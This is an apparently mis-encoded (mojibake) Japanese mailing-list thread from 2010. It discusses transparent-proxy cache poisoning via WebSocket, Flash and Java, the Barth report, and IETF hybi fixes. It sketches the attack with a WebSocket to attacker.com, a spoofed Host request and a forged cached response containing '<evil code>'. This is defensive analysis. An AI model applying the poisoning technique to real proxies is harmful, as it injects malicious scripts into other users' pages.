ä»åã®ä»¶ã®åé¡ã¯ãWebSocketã®ãã³ãã·ã§ã€ã¯ãçµãã£ãåŸã§ã
ä»»æã®ã¡ãã»ãŒãžãéåä¿¡ã§ãããšããã«èµ·å ããŠããŸãã
å
·äœçã«ã¯ããã³ãã·ã§ã€ã¯åŸã«HTTPãåœã£ããªã¯ãšã¹ããšã¬ã¹ãã³ã¹ãWebSocketã®ãã¬ãŒã ããŒã¿ãšããŠéãã
ããã«ããïŒå®è£
ãããŒããªïŒééåãããã·ã§ã¯ãåœã®Javascriptããã£ãã·ã¥
ããã¡ãããããã®ãããã·çµç±ã§ãã¢ã¯ã»ã¹ãã人ã«ãåœã®Javascriptã
åã蟌ãŸãã¡ãããããšããã®ãAdamããããããã¬ããŒãã«ãªã£ãŠããŸãã
ãªã®ã§çŸè¡ã®WebSocketãµãŒããŒã䜿ãéããèšå®ã倿ŽããŠãããã®åé¡ãã
ã¯åé¿ã§ããŸãããHTTPã³ãã¯ã·ã§ã³ç¢ºç«åŸãä»»æã®ã¡ãã»ãŒãžãéä¿¡ã§ããã°
ãã®æ»æã¯å¯èœã§ãã
WebSocketã¯ãä»»æã®ããŒã¿ãéåä¿¡ã§ãããšã¯ãããæåã«ãã¬ãŒã ããã
ïŒããšãã°76ã§ããã°æåã«\00ãã€ãïŒã®ã§ããã»ã©ProxyãããžãŒããå®è£
ã§
ãªãéãä»åã®æ»æã¯åé¡ã«ãªããŸãããäžæ¹ãFlashãJavaã¯PureãªTCPãœã±ãã
ããŒã¿ãéåä¿¡ã§ããé ã«äœèšãªãã¬ãŒã ããããã€ãããšããããŸããã®ã§ã
ããä»åã®æ»æãçŸå®çãšãªããŸããIETFïŒhybiïŒã®è°è«ã§ããWebSocketã§ããã®åé¡ãçºçãã確çã¯FlashãJava
Appletã®100åã®1ãããïŒããèŠãïŒã§ããããšèšãããŠããã®ã¯ããã®èŸºãã«èµ·å ããŠãããšãå°æŸã¯çè§£ããŠããŸãã
IETFã®å Žã§ã¯ãäžèšåé¡ãåé¿ããããã«ã"CONNECT"ããŒã¹ã®ãã³ãã·ã§ã€ã¯ãšããæ¹åã§è©±ãé²ãã§ããŸããããã«ãã¬ãŒã ããŒã¿ã«XORãããããªã©ããã»ãã¥ãªãã£åŒ·åãå³ã£ãŠã¯ãšããè°è«ãšããããŸã§ããã®ã¯ããããªãã®ããšããè°è«ããªãããŠããã®ããªã»ã»ã»ãšããã®ãå°æŸã®çè§£ããããªè°è«ãæ°ã¶æç¶ããããããããé²ãããããšããã®ããä»åã®ãã©ãŠã¶ã«ããããã©ã«ãå®è£ ãå€ããšããæªçœ®ã«ç¹ãã£ãŠããããã«æããŸãã
2010幎12æ11æ¥12:52 tato <ta...@game.gr.jp>:
On 12æ11æ¥, ååŸ6:23, KOMATSU Kensaku <kensaku.koma...@gmail.com> wrote:
> å°æŸã§ãã
>
> ä»åã®ä»¶ã®åé¡ã¯ãWebSocketã®ãã³ãã·ã§ã€ã¯ãçµãã£ãåŸã§ã
> ä»»æã®ã¡ãã»ãŒãžãéåä¿¡ã§ãããšããã«èµ·å ããŠããŸãã
>
> å
·äœçã«ã¯ããã³ãã·ã§ã€ã¯åŸã«HTTPãåœã£ããªã¯ãšã¹ããšã¬ã¹ãã³ã¹ãWebSocketã®ãã¬ãŒã ããŒã¿ãšããŠéãã
> ããã«ããïŒå®è£
ãããŒããªïŒééåãããã·ã§ã¯ãåœã®Javascriptããã£ãã·ã¥
> ããã¡ãããããã®ãããã·çµç±ã§ãã¢ã¯ã»ã¹ãã人ã«ãåœã®Javascriptã
> åã蟌ãŸãã¡ãããããšããã®ãAdamããããããã¬ããŒãã«ãªã£ãŠããŸãã
>
> ãªã®ã§çŸè¡ã®WebSocketãµãŒããŒã䜿ãéããèšå®ã倿ŽããŠãããã®åé¡ãã
> ã¯åé¿ã§ããŸãããHTTPã³ãã¯ã·ã§ã³ç¢ºç«åŸãä»»æã®ã¡ãã»ãŒãžãéä¿¡ã§ããã°
> ãã®æ»æã¯å¯èœã§ãã
Adamããã®ã¬ããŒãã¯ã¡ãããšèªããŠãªããã§ãããééåãããã·ãµãŒãããã£ãã·ã¥ãã€ãºãã³ã°ãããŠããŸããšãã話ãªã®ããªããšæã£ãã®ã§
ãã
ããšãã°ãJava Flash WebSocketã«ãããããããªãããã®æ¹æ³ã§ã
GET /uso.html HTTP/1.1
Host: socketapi.com
ãšãããããšãããééããã¯ã·çµç±ã§ã¢ã¿ãã«ãŒãµãŒããŒã§ããIP 2.2.2.2ãšã®éã§è¡ããšãééããã¯ã·ã¯ããã®/uso.htmlãšã/
uso.jsããã£ãã·ã¥ããIPã§ã¯ãªããHostããŒã¹ã§è»¢éãè¡ãã®ã§ã次ã®äººã socketapi.com ããªã¯ãšã¹ããããšãã«ããã£ã
ã·ã¥ãããŠããã¢ã¿ãã«ãŒãµãŒããŒIP 2.2.2.2 ã®ã³ã³ãã³ããsocketapi.com/uso.htmlãšããŠéãããŠããŸãã
ãšããããšããªïŒãšã
ãããããã ãšãããšã
var ws = new WebSocket("ws://socketapi.com/api/ãŠãŒã¶ãŒå/0");
ã¯ãéšããŠãã
var ws = new WebSocket("ws://202.215.119.36/api/ãŠãŒã¶ãŒå/0");
ãšããŠããŸãã°ãã¢ã¿ãã«ãŒãµãŒããŒIP 2.2.2.2ãžéãããããªããªãã®ããªãïŒãšæã£ãã®ã§ãããéããŸãã?
ãã ããããDNSãã£ãã·ã¥ãã€ãºãã³ã°ãªããDNSSECã®æä»£ãããããå§ãŸãããã§ãã®ã§ããã£ã¡ã«æåŸ
ãããšããããšãæããã?
http://internet.watch.impress.co.jp/docs/special/20101006_398080.html
> WebSocketã¯ãä»»æã®ããŒã¿ãéåä¿¡ã§ãããšã¯ãããæåã«ãã¬ãŒã ããã
> ïŒããšãã°76ã§ããã°æåã«\00ãã€ãïŒã®ã§ããã»ã©ProxyãããžãŒããå®è£
ã§
> ãªãéãä»åã®æ»æã¯åé¡ã«ãªããŸãããäžæ¹ãFlashãJavaã¯PureãªTCPãœã±ãã
> ããŒã¿ãéåä¿¡ã§ããé ã«äœèšãªãã¬ãŒã ããããã€ãããšããããŸããã®ã§ã
> ããä»åã®æ»æãçŸå®çãšãªããŸããIETFïŒhybiïŒã®è°è«ã§ããWebSocketã§ããã®åé¡ãçºçãã確çã¯FlashãJava
> Appletã®100åã®1ãããïŒããèŠãïŒã§ããããšèšãããŠããã®ã¯ããã®èŸºãã«èµ·å ããŠãããšãå°æŸã¯çè§£ããŠããŸãã
adambarth.comã®ã¬ããŒãããHTTPãã¹ãããããªãããŸããã®ãã¹ãçµæã衚ã«ããŠãã®ã¯ãJavaãšFlashã ããªã®ã§ãããã£ãŠ
ã¿ããšWebSocketã¯è©±é¡æ§ïŒãšããæ°ãããªãã§ããªãã§ã ïŒæåãããœã^^?
ãããšãããã¯ã·ãšãDNSåŽã§è§£æ±ºããªããšããã¹ãŠã®ãããã³ã«ã«ãžãŒProxy察åŠçæ³ãèŠæ±ããããšã«ãªãã®ã ããã?ãšããæ°ã«ããããŸã
ãã
> IETFã®å Žã§ã¯ãäžèšåé¡ãåé¿ããããã«ã"CONNECT"ããŒã¹ã®ãã³ãã·ã§ã€ã¯ãšããæ¹åã§è©±ãé²ãã§ããŸããããã«ãã¬ãŒã ããŒã¿ã«XORãããã ãªã©ããã»ãã¥ãªãã£åŒ·åãå³ã£ãŠã¯ãšããè°è«ãšããããŸã§ããã®ã¯ããããªãã®ããšããè°è«ããªãããŠããã®ããªã»ã»ã»ãšããã®ãå°æŸã®çè§£ããããªè°è«ãæ° ã¶æç¶ããããããããé²ãããããšããã®ããä»åã®ãã©ãŠã¶ã«ããããã©ã«ãå®è£ ãå€ããšããæªçœ®ã«ç¹ãã£ãŠããããã«æããŸãã
æ¬åœã«IETFã¯æåéãæ±ºå®åãäžè¶³ããŠãŸããã
ã§ãããŸãã"CONNECT"ããŒã¹ã§ã»ãã¥ã¢ã«ãªããšãããªãããã§ãè¯ãæ°ã¯ããŸãããã®æã«ã¯ãFlashãšJavaã¯å±éºãªã®ã§ããããã³ã«
ããŒã¹ã§å®å
šãªWebSocketã䜿ããšããæµãã«ãªã£ããããŠ:p
>
> 2010幎12æ11æ¥12:52 tato <t...@game.gr.jp>:
>
>
>
>
>
>
>
> > æšæ¥ãFirefoxã®4 WebSocketsã®ãµããŒãç¡å¹åã®åç¥ããããŸãããããã®é¢é£è³æããããŠãããŸãã
>
> > disabling websockets for firefox 4
> > by Christopher Blizzard
> >http://www.0xdeadbeef.com/weblog/2010/12/disabling-websockets-for-fir...
>
> > WebSocketãã³ãã·ã§ã€ã¯ã®Upgreadã¯åŒ±ãã®ã§CONNECT ã䜿ã£ããã©ãããšããè°è«
> > [hybi] Experiment comparing Upgrade and CONNECT handshakes
> >http://www.ietf.org/mail-archive/web/hybi/current/msg04744.html
>
> > ééåããã¯ã·ã®è
åš (JavaãšFlashãšWebSocketãšééåããã¯ã·ã®è
åšã«é¢ããã¬ããŒã)
> >http://www.adambarth.com/experimental/websocket.pdf
>
> > ééåããã¯ã·ã¯HTTPãããã®HostããŒã¹ã§è»¢éããã®ã§å±éºãšãã話ã®ãããªã®ã§ãããããããšããã£ãã·ã¥ãã€ãºãã³ã°ãšããããããã®ããš
> > ããªãïŒãšæããŸãã
>
> > ééåãããã·ãµãŒãã HTTP ã® Host ãããã«äŸåããŠæ¥ç¶ãè¡ãåé¡http://jvn.jp/cert/JVNVU435052/index.html
ãããããããããããã®ããã«ééããã¯ã·ã«èª€è§£ãããããšãã§ãããšãããã
GET /uso.html HTTP/1.1
Host: socketapi.com
ã ããããªãã§ããã
GET /uso.html HTTP/1.1
Host: google.com
ã誀解ãããããšãã§ããåºæ¥ãããšã«ãªãïŒ
JavaãFlashã倧å€ã ãã©ãDNSSECæ©ãæ®åããªãããªãã
ããã¯ããŠããã
ãã®ãããªãWebSocketãã¬ãŒã å
ã®HTTPãããã誀解ããããã¯ã·ããããšããŠãsocketapi.com ã®JSONãã©ãŒãããå
ã«
æžãããHTTPãããã ãšèª€è§£ã§ããã®ããªãããã
æ€èšŒããã®ã«è¯ãæ¹æ³ã£ãŠããã®ããªãã
> ãã ããããDNSãã£ãã·ã¥ãã€ãºãã³ã°ãªããDNSSECã®æä»£ãããããå§ãŸãããã§ãã®ã§ããã£ã¡ã«æåŸ ãããšããããšãæããã?http://internet.watch.impress.co.jp/docs/special/20101006_398080.html
å€åã以äžã®ãããªæãã ãšæããŸãã
ãžã£ãœãééããã¯ã·ã¯ããŸãæåã«ãã©ãŠã¶ã以äžãã³ãŒã«ããæç¹ã§
var ws = new WebSocket("ws://attacker.com/");
ã§ãattacker.com ãšã³ãã¯ã·ã§ã³ã匵ããŸãããã®åŸãws.sendã§ã¯ã©ã€ã¢ã³ããã
GET /script.js HTTP/1.1
Host: socketapi.com
....
ãéä¿¡ããattacker.comãããã®ã¬ã¹ãã³ã¹ãšããŠ
HTTP/1.1 200 OK
Expires: <1幎åŸ>
<evil code>
ãè¿ããšãããžã£ãœãééãããã·ã㯠<evil code>ãsocketapi.com/script.jsã ãšæã蟌ãã§
ãã£ãã·ã¥ãã¡ãããšããã®ãåé¡ãªããããªãããšïŒHost:å
ã®åå解決ãããªããŸãŸãæåã«
æŽãã ã»ãã·ã§ã³äžã§ãattacker.comã«ãªã¯ãšã¹ããéä¿¡ããŠããŸãïŒ
ãªã®ã§ãvar ws = new WebSocket('ws://socketapi.com/...'); ã§ããã°ãæªã人ã¯ããªãã§ããããã
ãŸãåé¡ãªããšæããŸã
WebSocketã®ãã¬ãŒã ãåæãšãããšãããªãéç«ã£ãåææ¡ä»¶ã§ãããããã§ãã»ãã¥ãªãã£ãªã¹ã¯ã
äœæžãããšããããæšæºåã®ã¡ãªããããšæããŸãããã®ãžããããã³ãåºæã®ãã©ã°ã€ã³ãšã®
倧ããªéãããªãšãééãããã·ã¯ããµãŒããŒã»ã¯ã©ã€ã¢ã³ãåæ¹ãšãããã®ååšãç¥ãããšãé£ãã
ã®ã§ãä»åã®ä»¶ã«éãããã»ããšåä»ã§ããããããçé¢ç®ã«ãµãŒãã¹ãããšãã¯ãWSS䜿ãã®ã
äžçªããªããšæè¿çå£ã«èããŠãããããŸããïŒãµãŒããŒè² è·ãšããæ°ã«ãªã£ãŠããŸãã€ã€ãã»ã»ã»ïŒ
P.S. ã¬ã¹ãã³ã¹ãJSONã ã£ããããããã«å€§äžå€«ã§ããããããã
> ãšãããããšãããééããã¯ã·çµç±ã§ã¢ã¿ãã«ãŒãµãŒããŒã§ããIP 2.2.2.2ãšã®éã§è¡ããšãééããã¯ã·ã¯ããã®/uso.htmlãšã/
> uso.jsããã£ãã·ã¥ããIPã§ã¯ãªããHostããŒã¹ã§è»¢éãè¡ãã®ã§ã次ã®äººã socketapi.com ããªã¯ãšã¹ããããšãã«ããã£ã
> ã·ã¥ãããŠããã¢ã¿ãã«ãŒãµãŒããŒIP 2.2.2.2 ã®ã³ã³ãã³ããsocketapi.com/uso.htmlãšããŠéãããŠããŸãã
>
> ãšããããšããªïŒãšã
> ãããããã ãšãããšã
>
> var ws = new WebSocket("ws://socketapi.com/api/ãŠãŒã¶ãŒå/0");
>
> ã¯ãéšããŠãã
>
> var ws = new WebSocket("ws://202.215.119.36/api/ãŠãŒã¶ãŒå/0");
>
> ãšããŠããŸãã°ãã¢ã¿ãã«ãŒãµãŒããŒIP 2.2.2.2ãžéãããããªããªãã®ããªãïŒãšæã£ãã®ã§ãããéããŸãã?
2010幎12æ11æ¥22:29 tato <ta...@game.gr.jp>:
> --
> --
> ãã®ã¡ãŒã«ã¯æ¬¡ã® Google ã°ã«ãŒãã®åå è
ã«éãããŠããŸã: socketapi-dev
> ãã®ã°ã«ãŒãã«ã¡ãŒã«ã§æçš¿: socket...@googlegroups.com
> ãã®ã°ã«ãŒãããéäŒãã: socketapi-de...@googlegroups.com
> ãã®ä»ã®ãªãã·ã§ã³ã«ã€ããŠã¯ã次㮠URL ããã°ã«ãŒãã«ã¢ã¯ã»ã¹ããŠãã ã
> ãã http://groups.google.com/group/socketapi-dev?hl=ja
> ============================================
> SocketApi Demo & Info
> http://socketapi.com/user/demo/0/index.php
> SocketApi äœæ¥å Ž
> http://202.215.119.36/ws/jq/ref/#/ws/jq/ref/chat/chatf1.htm
>
On 12æ11æ¥, ååŸ11:40, KOMATSU Kensaku <kensaku.koma...@gmail.com> wrote:
> å°æŸã§ãã
>
> å€åã以äžã®ãããªæãã ãšæããŸãã
>
> ãžã£ãœãééããã¯ã·ã¯ããŸãæåã«ãã©ãŠã¶ã以äžãã³ãŒã«ããæç¹ã§
> var ws = new WebSocket("ws://attacker.com/");
> ã§ãattacker.com ãšã³ãã¯ã·ã§ã³ã匵ããŸãããã®åŸãws.sendã§ã¯ã©ã€ã¢ã³ããã
>
> GET /script.js HTTP/1.1
> Host: socketapi.com
> ....
>
> ãéä¿¡ããattacker.comãããã®ã¬ã¹ãã³ã¹ãšããŠ
>
> HTTP/1.1 200 OK
> Expires: <1幎åŸ>
>
> <evil code>
>
> ãè¿ããšãããžã£ãœãééãããã·ã㯠<evil code>ãsocketapi.com/script.jsã ãšæã蟌ãã§
> ãã£ãã·ã¥ãã¡ãããšããã®ãåé¡ãªããããªãããšïŒHost:å
ã®åå解決ãããªããŸãŸãæåã«
> æŽãã ã»ãã·ã§ã³äžã§ãattacker.comã«ãªã¯ãšã¹ããéä¿¡ããŠããŸãïŒ
> ãªã®ã§ãvar ws = new WebSocket('ws://socketapi.com/...'); ã§ããã°ãæªã人ã¯ããªãã§ããããã
> ãŸãåé¡ãªããšæããŸã
socketapi.comã¯ãã¯ã©ã€ã¢ã³ãåŽã ãã§WebSocketã䜿ããšããã¹ããŒã ã§ãã®ã§ããµãŒããŒåŽããçŽæ¥HTTPåœè£
ããããè¿ãã
ãšãã§ããæªã人ããããšããããç§ã ãããšããäºã«ãªããŸã^^;
ã§ããmulti-echoã¯ããµãŒããŒçµç±ã§å
šå¡ãžé
éã§ããŸãã®ã§ãèªåã§ãGETãéã£ãŠãOKãéãåãåãããšã§åŸåŸ©ã£ãŠãããè¶
誀解ããã
ãããŒãããã¯ã·ããããªããŠããããªãããã
> WebSocketã®ãã¬ãŒã ãåæãšãããšãããªãéç«ã£ãåææ¡ä»¶ã§ãããããã§ãã»ãã¥ãªãã£ãªã¹ã¯ã
> äœæžãããšããããæšæºåã®ã¡ãªããããšæããŸãããã®ãžããããã³ãåºæã®ãã©ã°ã€ã³ãšã®
> 倧ããªéãããªãšãééãããã·ã¯ããµãŒããŒã»ã¯ã©ã€ã¢ã³ãåæ¹ãšãããã®ååšãç¥ãããšãé£ãã
> ã®ã§ãä»åã®ä»¶ã«éãããã»ããšåä»ã§ããããããçé¢ç®ã«ãµãŒãã¹ãããšãã¯ãWSS䜿ãã®ã
> äžçªããªããšæè¿çå£ã«èããŠãããããŸããïŒãµãŒããŒè² è·ãšããæ°ã«ãªã£ãŠããŸãã€ã€ãã»ã»ã»ïŒ
>
> P.S. ã¬ã¹ãã³ã¹ãJSONã ã£ããããããã«å€§äžå€«ã§ããããããã
socketapi.comã®ãã©ãŒãããã§ã¯ãããšãã°ã
ws.send( JSON.stringify( [["GET /script.js HTTP/1.1"]] ) );
ãããªãµãã«ã§ãæžããªããšããµãŒããŒã«æåŠãããŸãããããŸãããããHTTPãããã ãšåéãããã®ã¯é£ããã§ãããã
ãã£ããWebSocketã®ããã¹ãã¯ããã£ãJSONã«ããŠããŸããšã^^;
> > ãšãããããšãããééããã¯ã·çµç±ã§ã¢ã¿ãã«ãŒãµãŒããŒã§ããIP 2.2.2.2ãšã®éã§è¡ããšãééããã¯ã·ã¯ããã®/uso.htmlãšã/
> > uso.jsããã£ãã·ã¥ããIPã§ã¯ãªããHostããŒã¹ã§è»¢éãè¡ãã®ã§ã次ã®äººã socketapi.com ããªã¯ãšã¹ããããšãã«ããã£ã
> > ã·ã¥ãããŠããã¢ã¿ãã«ãŒãµãŒããŒIP 2.2.2.2 ã®ã³ã³ãã³ããsocketapi.com/uso.htmlãšããŠéãããŠããŸãã
>
> > ãšããããšããªïŒãšã
> > ãããããã ãšãããšã
>
> > var ws = new WebSocket("ws://socketapi.com/api/ãŠãŒã¶ãŒå/0");
>
> > ã¯ãéšããŠãã
>
> > var ws = new WebSocket("ws://202.215.119.36/api/ãŠãŒã¶ãŒå/0");
>
> > ãšããŠããŸãã°ãã¢ã¿ãã«ãŒãµãŒããŒIP 2.2.2.2ãžéãããããªããªãã®ããªãïŒãšæã£ãã®ã§ãããéããŸãã?
>
> 2010幎12æ11æ¥22:29 tato <t...@game.gr.jp>:
> >> > > ãã§ã¯ãªãã§ãããã)...
>
> ãã£ãšèªã â«